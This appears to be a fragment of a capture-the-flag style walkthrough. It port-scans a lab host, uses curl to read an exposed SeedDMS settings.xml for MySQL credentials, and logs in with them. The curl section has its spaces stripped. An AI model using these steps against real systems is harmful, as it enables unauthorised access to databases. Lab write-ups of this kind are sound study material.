┌──(root💀kali)-[~]
└─# nmap -p 1-65535 -sV 192.168.32.226
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-11 04:54 EDT
Nmap scan report for 192.168.32.226
Host is up (0.0010s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
3306/tcp open mysql MySQL 8.0.25-0ubuntu0.20.04.1
33060/tcp open mysqlx?
┌──(root💀kali)-[/tmp]└─#curlhttp://192.168.32.226/seeddms51x/conf/settings.xml-sL|grep-idb-dbDriver:DB-Driverusedbyadodb (see adodb-readme)-dbHostname:DB-Server-dbDatabase:databasewherethetablesforseeddmsarestored (optional -seeadodb-readme)-dbUser:usernamefordatabase-access-dbPass:passwordfordatabase-access<databasedbDriver="mysql"dbHostname="localhost"dbDatabase="seeddms"dbUser="seeddms"dbPass="seeddms"doNotCheckVersion="false">-extraPath:Pathtoaddtionalsoftware.Thisisthedirectorycontainingadditionalsoftwareliketheadodbdirectory,orthepearLogpackage.Thispathwillbeaddedtothephpincludepath
使用上述步骤中的凭据登录 MySQL
mysql -u seeddms -pseeddms -D seeddms --silent -h 192.168.32.226